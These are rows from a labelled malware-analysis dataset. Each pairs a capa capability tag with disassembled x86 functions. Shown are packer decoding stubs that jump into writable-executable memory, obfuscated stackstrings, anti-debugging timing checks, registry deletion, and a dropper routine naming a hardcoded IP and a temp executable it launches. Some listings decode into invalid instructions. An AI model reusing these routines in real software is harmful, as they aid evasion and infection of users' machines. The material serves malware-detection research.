joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404c20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov eax, dword [edi + 0x10]
mov edx, dword [eax + 4]
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00407f90
test eax, eax
mov esi, eax
js 0x404c90
test ebx, ebx
jle 0x404c7f
mov edx, dword [edi + 0x14]
shl ebx, 0xa
mov eax, ebx
shr edx, 0xa
mov ecx, edx
xor edx, edx
div ecx
mov esi, eax
lea eax, [eax - 0x400]
cmp eax, 0x9c3c00
ja 0x404cef
mov eax, dword [edi + 0x10]
mov eax, dword [eax + 0xc]
shr eax, 1
cmp esi, eax
ja 0x404cc1
mov eax, esi
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
call sub.cygwin1.dll___getreent
mov dword [esp], str._nFilesystem_too_small_for_a_journal_n
mov ebx, eax
call fcn.004161f0
mov edx, dword [ebx + 0xc]
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.cygwin1.dll_fputs
mov ebx, dword [ebp - 0xc]
xor eax, eax
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
call sub.cygwin1.dll___getreent
mov dword [esp], str._nJournal_size_too_big_for_filesystem._n
mov ebx, eax
call fcn.004161f0
mov edx, dword [ebx + 0xc]
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.cygwin1.dll_fputs
mov dword [esp], 1
call sub.cygwin1.dll_exit
mov dword [esp], str._nThe_requested_journal_size_is__d_blocks__it_must_be_nbetween_1024_and_10240000_blocks.__Aborting._n
call fcn.004161f0
mov ebx, eax
call sub.cygwin1.dll___getreent
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.cygwin1.dll_fprintf
jmp 0x404ce3
Function at 0x405740
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
sub esp, 0x1c
mov dword [esp], 0x1c
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], 0
call sub.cygwin1.dll_malloc
mov ebx, eax
test ebx, ebx
mov eax, 0xc
je 0x4057f1
cld
mov eax, dword [ebp - 0x14]
mov ecx, 7
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [ebx], 0xaaca6019
mov dword [esp], esi
call sub.cygwin1.dll_strlen
inc eax
mov dword [ebp - 0x18], eax
cmp byte [esi], 0x7e
je 0x405800
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.cygwin1.dll_malloc
test eax, eax
mov edi, eax
je 0x405860
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x405848
mov dword [esp], edi
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
call sub.cygwin1.dll_strcpy
mov dword [esp], edi
lea eax, [esi + 1]
mov dword [esp + 4], eax
call sub.cygwin1.dll_strcat
mov dword [ebx + 4], edi
mov eax, dword [str._default_]
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.cygwin1.dll_strcmp
test eax, eax
jne 0x405830
mov eax, dword [ebp - 0x10]
mov dword [eax], ebx
xor eax, eax
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
cmp byte [esi + 1], 0x2f
jne 0x405794
mov dword [esp], str.HOME
call sub.cygwin1.dll_getenv
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405794
mov dword [esp], eax
call sub.cygwin1.dll_strlen
add dword [ebp - 0x18], eax
jmp 0x405794
mov eax, ebx
call fcn.00405620
test eax, eax
mov esi, eax
je 0x4057ea
mov eax, ebx
call fcn.00404e40
mov eax, esi
jmp 0x4057f1
mov dword [esp + 4], esi
mov eax, dword [ebp - 0x18]
mov dword [esp], edi
mov dword [esp + 8], eax
call sub.cygwin1.dll_memcpy
jmp 0x4057d2
mov eax, ebx
call fcn.00404e40
call sub.cygwin1.dll___errno
mov eax, dword [eax]
jmp 0x4057f1
Function at 0x4105c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esp + edi*8 - 1], edi
inc dword [eax + eax]
add byte [eax], al
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040fd09
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040fcbe
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], pe_nt_image_headers32
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040fd09
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040fcbe
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0040fcf9
push ebx
cli
in al, dx
jge 0x4106ec
movsd dword es:[edi], dword [esi]
int3

Function at 0x410860
Capabilities:
Contain obfuscated stackstrings

Disassembly:
wait
mov byte [ebp - 0x657], 0xf8
lea eax, [ebp - 0x664]
push eax
call fcn.0040fd09
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040fcbe
add esp, 0xc
mov dword [ebp - 0x67c], eax
and byte [ebp - 0x524], 0
and byte [ebp - 0x523], 0
mov byte [ebp - 0x522], 0x15
and byte [ebp - 0x521], 0
mov byte [ebp - 0x520], 0xa2
mov byte [ebp - 0x51f], 0x8f
mov byte [ebp - 0x51e], 0x8b
mov byte [ebp - 0x51d], 0x9a
mov byte [ebp - 0x51c], 0xac
mov byte [ebp - 0x51b], 0x98
mov byte [ebp - 0x51a], 0x8f
mov byte [ebp - 0x519], 0x8f
invalid
invalid
Function at 0x410c60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub al, 0xc6
test dword [ebp + 0x26fffffc], ebx
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.0040fd09
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040fcbe
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.0040fcf9
in al, 0x25
jmp 0x14575bf

Function at 0x415240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov ebx, edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], edx
call fcn.00415150
mov dword [ebp - 0x34], eax
test eax, eax
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x38], 0
js 0x415296
cmp dword [ebp - 0x30], 0
jle 0x415296
lea esi, [esi]
mov dword [esp + 8], ebx
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.cygwin1.dll_read
test eax, eax
jle 0x4152c8
mov dword [ebp - 0x38], 0
sub ebx, eax
add edi, eax
test ebx, ebx
jg 0x415270
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x2c]
test eax, eax
jle 0x4152c0
mov esi, dword [ebp - 0x30]
lea esi, [esi]
lea edi, [edi]
call sub.cygwin1.dll_random
mov ebx, edi
shr eax, 7
inc edi
xor byte [ebx], al
dec esi
jne 0x4152b0
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x38]
inc dword [ebp - 0x38]
cmp eax, 0x10
jg 0x415296
test ebx, ebx
jmp 0x415294
Function at 0x10005a7a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10005a89
pop dword [ebp - 0x30]
mov eax, 0xee53324d
sub eax, 0xde52d7c4
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x503ef307
sub dword [ebp - 0x40], 0x1ecadbc
mov dword [ebp - 0x3c], 0xc26bdbfc
add dword [ebp - 0x3c], 0x6fc77049
mov dword [ebp - 0x38], 0x77a7704a
sub dword [ebp - 0x38], 0x2b5b2c1c
mov dword [ebp - 0x34], 0x33a198aa
add dword [ebp - 0x34], 0xcc5e6756
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xc1525886
sub dword [ebp - 0x40], 0x4cdfef30
mov dword [ebp - 0x3c], 0x3e971a27
sub dword [ebp - 0x3c], 0xfd2ab8b2
mov dword [ebp - 0x38], 0x9fdcd0e0
sub dword [ebp - 0x38], 0x3c6d6474
mov dword [ebp - 0x34], 0x96248357
add dword [ebp - 0x34], 0x69db7ca9
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x386aa
push 0
call eax
mov ecx, 0x499e
xor edx, edx
add edx, eax
mov edi, 0x9b8dad38
sub edi, 0x8b893938
add edi, dword [ebp - 0x30]
mov esi, 0x4aba9371
add esi, 0x7ccb994a
xor dword [ebp - 0x18], ebx
mov ebx, dword [edi]
add dword [ebp - 4], 0x9f1520ad
add ebx, esi
add dword [ebp - 4], ebx
mov dword [edx], ebx
xor dword [ebp - 0x10], ebx
add edx, 0xbf759354
sub edx, 0xbf759350
add edi, 0x8f8ddcc1
add edi, 0x70722343
loop 0x10005b9d
add eax, 0x629c92af
sub eax, 0x629b7964
mov ebx, eax
add eax, 0x4b1cad6e
add eax, 0xb4e35297
mov ecx, 0xea745822
add ecx, 0x258ba7de
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401443
pop dword [ebp - 0x24]
mov eax, 0x401443
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x8f6661b0
add dword [ebp - 0x34], 0xbeebe39b
mov dword [ebp - 0x30], 0xa4b88817
sub dword [ebp - 0x30], 0x72853bd2
mov dword [ebp - 0x2c], 0x80928851
add dword [ebp - 0x2c], 0xcbb9bbdd
mov dword [ebp - 0x28], 0xa90dfbdd
sub dword [ebp - 0x28], 0xa90dfbdd
lea eax, [ebp - 0x34]
push eax
mov eax, 0xe22f6d1e
add eax, 0x1e1113e6
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xda22a1e9
add dword [ebp - 0x34], 0x9a4fc76d
mov dword [ebp - 0x30], 0x2b137f74
sub dword [ebp - 0x30], 0xe9a71dff
mov dword [ebp - 0x2c], 0x1564ceac
add dword [ebp - 0x2c], 0x4e0a9dc0
mov dword [ebp - 0x28], 0xdcc44e17
add dword [ebp - 0x28], 0x233bb1e9
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3a9b6
push 0
call eax
mov ecx, 0xb4c85625
add ecx, 0x4b37fb1f
mov esi, eax
mov edi, 0x16ac65b9
sub edi, 0x166581b9
add edi, dword [ebp - 0x24]
mov ebx, 0x6fcec3de
add dword [ebp - 8], 0x737581b5
mov edx, dword [edi]
xor dword [ebp - 0x14], 0xbb8fc3ff
add edx, ebx
add dword [ebp - 0x20], 0xb5146d0e
mov dword [esi], edx
add dword [ebp - 0xc], ecx
add esi, 0x8362ac4
add esi, 0xf7c9d540
add edi, 4
loop 0x401555
add eax, 0x137e3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xfd305ea4
add ecx, 0x30fa15c
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x100018d0
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
push 0
push str.IEFrame
push 0
push 0
call edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test esi, esi
mov ebx, eax
je 0x10001936
mov ebp, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea eax, [esp + 0x10]
push eax
push esi
call ebp
mov eax, dword [esp + 0x10]
push 0
cmp ebx, eax
je 0x10001924
push str.IEFrame
push esi
push 0
call edi
mov esi, eax
test esi, esi
jne 0x100018fc
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push esi
push 0x10001940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xe380b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0xe38200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xe380d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe380c2
add dl, dl
jne 0xe380e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe38134
xor eax, eax
add dl, dl
jne 0xe380ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xe381d5
add dl, dl
jne 0xe380fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe38108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe38113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe3811e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xe3812a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xe380cd
mov eax, 1
add dl, dl
jne 0xe38142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xe3814d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe38139
sub eax, ebx
mov ebx, 1
jne 0xe38180
mov ecx, 1
add dl, dl
jne 0xe38166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xe38171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe3815d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe380cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xe38197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xe381a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xe3818e
cmp eax, 0x7d00
jae 0xe381c5
cmp eax, 0x500
jb 0xe381c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe380cd
cmp eax, 0x7f
ja 0xe381c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xe380cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xe381f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xe380cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x41d1b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x475030]
jne 0x41d1ba
repz ret
jmp fcn.00422b60
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x401443
pop dword [ebp - 0x3c]
mov eax, 0x401443
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x7b50f53a
add dword [ebp - 0x4c], 0xd3015011
mov dword [ebp - 0x48], 0x971f00fb
add dword [ebp - 0x48], 0x9b144b4a
mov dword [ebp - 0x44], 0x9bb73578
add dword [ebp - 0x44], 0xb0950eb6
mov dword [ebp - 0x40], 0x23d9e3b4
add dword [ebp - 0x40], 0xdc261c4c
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xe01e97a8
add eax, 0x2021e95c
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xd02a0a61
add dword [ebp - 0x4c], 0xa4485ef5
mov dword [ebp - 0x48], 0x4e347f24
sub dword [ebp - 0x48], 0xcc81daf
mov dword [ebp - 0x44], 0x159c6430
add dword [ebp - 0x44], 0x4dd3083c
mov dword [ebp - 0x40], 0xcf30bb0c
add dword [ebp - 0x40], 0x30cf44f4
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x63519673
add eax, 0x9ceeea8d
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x39d2e
push 0
call eax
mov ecx, 0x75792446
add ecx, 0x8a8729eb
mov edx, eax
mov ebx, 0x8ee0bc4f
sub ebx, 0x8e9bb84f
add ebx, dword [ebp - 0x3c]
mov edi, 0xf2be406d
sub edi, 0x8eaaac94
mov esi, dword [ebx]
add esi, edi
add dword [ebp - 0x1c], 0x3ebef141
mov dword [edx], esi
xor dword [ebp - 0x20], ebx
add edx, 4
add ebx, 0x889e2958
add ebx, 0x7761d6ac
loop 0x401560
add eax, 0xb992ccb7
sub eax, 0xb991a120
mov ebx, eax
add eax, 0x88126f6f
add eax, 0x77ed9096
mov ecx, 0xe6d9c4f2
sub ecx, 0xe699c4f2
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x434f90]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004064be
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x434f90]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x434f90], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x4ebfa0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
ret

Function at 0x9a99f6
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0xc7f546
jmp 0xc750bd
mov dword [esp], ebx
jmp 0xc75187
push 0x76286556
mov dword [esp], eax
push ecx
push 0x3c96a148
pop ecx
mov dword [esp + 4], ecx
pop ecx
jmp 0xc75068
jmp 0xc9b282
jmp fcn.00c7ca4d
jmp 0xc7f5f5
mov dword [esp], ebp
jmp 0xc7f64c
push edi
mov edi, esp
add edi, 4
push ebp
push 4
pop ebp
sub edi, ebp
pop ebp
xchg dword [esp], edi
pop esp
mov dword [esp], eax
jmp 0xc7f594
jmp 0xc947ac
jmp 0xc817a8
push ebp
push esp
pop ebp
add ebp, 4
push eax
jmp 0xc817b7
mov eax, 0x14
sub ebp, eax
pop eax
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
jmp 0xc817cd
mov esp, dword [esp]
jmp 0xc817d5
jmp 0xc75063
jmp 0xc83726
push ecx
push ebp
mov dword [esp], eax
push 0x82a6860
pop eax
mov dword [esp + 4], eax
pop eax
mov dword [esp], edx
jmp 0xc8379e
jmp 0xc95030
jmp 0xc89fb4
mov dword [esp], eax
pop dword [ebp - 0x14]
jmp 0xc89fd4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
mov esp, dword [esp]
jmp 0xc89f4c
jmp 0xc93dfd
push ebp
push esi
mov esi, 0x28a0cbe5
mov dword [esp + 4], esi
mov esi, dword [esp]
jmp 0xc93e10
add esp, 4
mov dword [esp], edx
pop dword [ebp - 0x10]
jmp 0xc93f1f
jmp 0xc7c9ea
push esp
push dword [esp]
pop ebp
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
mov esp, dword [esp]
jmp 0xc948c9
jmp 0xc81696
rdtsc
jmp 0xc95116
jmp 0xc89ead
jmp 0xc9b390
push 0x1013e3bc
mov dword [esp], ebp
mov dword [esp], 0x5b646b99
mov dword [esp], ebp
mov dword [esp], ecx
jmp 0xc9b3aa
jmp 0xc83690
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push 0x64
push 0x417de0
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x417d18
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
push edx
call fcn.00401200
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x416f10
call fcn.004037a0
call fcn.004028a0
test eax, eax
je 0x401071
call fcn.00404020
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401350
test eax, eax
jne 0x401081
xor eax, eax
jmp 0x4011e3
call fcn.00401b90
cmp dword [0x418740], 0
jbe 0x4010bc
movzx eax, word [0x418744]
test eax, eax
jle 0x4010bc
mov ecx, dword [0x418740]
push ecx
mov esi, str.218.54.31.226
call fcn.004047d0
add esp, 4
mov dx, word [0x418744]
mov word [0x416f2c], dx
mov dword [ebp - 0x234], str.tmp5fdr.exe
mov dword [ebp - 0x238], 0x418c78
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x23c], eax
mov ecx, dword [ebp - 0x234]
mov dx, word [ecx]
mov word [ebp - 0x23e], dx
mov eax, dword [ebp - 0x238]
mov cx, word [ebp - 0x23e]
mov word [eax], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x238]
add eax, 2
mov dword [ebp - 0x238], eax
cmp word [ebp - 0x23e], 0
jne 0x4010dc
call fcn.00404840
xor ecx, ecx
mov word [ebp - 0x230], cx
push 0x206
push 0
lea edx, [ebp - 0x22e]
push edx
call fcn.00409060
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x418c78
push 0x104
lea ecx, [ebp - 0x230]
push ecx
call fcn.00405717
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x414468
lea edx, [ebp - 0x230]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.00405708
mov esp, ebp
pop ebp
ret 0x10